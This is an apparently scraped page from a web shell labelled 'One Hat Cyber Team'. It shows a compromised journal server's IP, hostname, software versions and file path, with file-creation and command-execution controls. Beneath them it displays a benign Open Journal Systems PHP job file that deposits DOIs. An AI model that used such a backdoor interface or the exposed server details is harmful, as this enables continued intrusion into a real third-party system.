One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
jobs
/
doi
/
View File Name :
DepositContext.php
<?php declare(strict_types=1); /** * @file jobs/doi/DepositContext.php * * Copyright (c) 2014-2022 Simon Fraser University * Copyright (c) 2000-2022 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * @class DepositContext * * @ingroup jobs * * @brief Job to deposit all DOIs and associated metadata to the configured registration agency for a given context */ namespace PKP\jobs\doi; use APP\core\Application; use APP\facades\Repo; use PKP\context\Context; use PKP\context\ContextDAO; use PKP\job\exceptions\JobException; use PKP\jobs\BaseJob; class DepositContext extends BaseJob { protected int $contextId; /** * Create a new job instance. * */ public function __construct(int $contextId) { parent::__construct(); $this->contextId = $contextId; } /** * Execute the job. * */ public function handle() { /** @var ContextDAO $contextDao */ $contextDao = Application::getContextDAO(); /** @var Context $context */ $context = $contextDao->getById($this->contextId); if (!$context) { throw new JobException(JobException::INVALID_PAYLOAD); } // NB: Only run at context level if automatic deposit is enabled. Otherwise, automatic deposit will always run, // regardless of configuration status. if (!$context->getData(Context::SETTING_DOI_AUTOMATIC_DEPOSIT)) { return; } Repo::doi()->depositAll($context); } }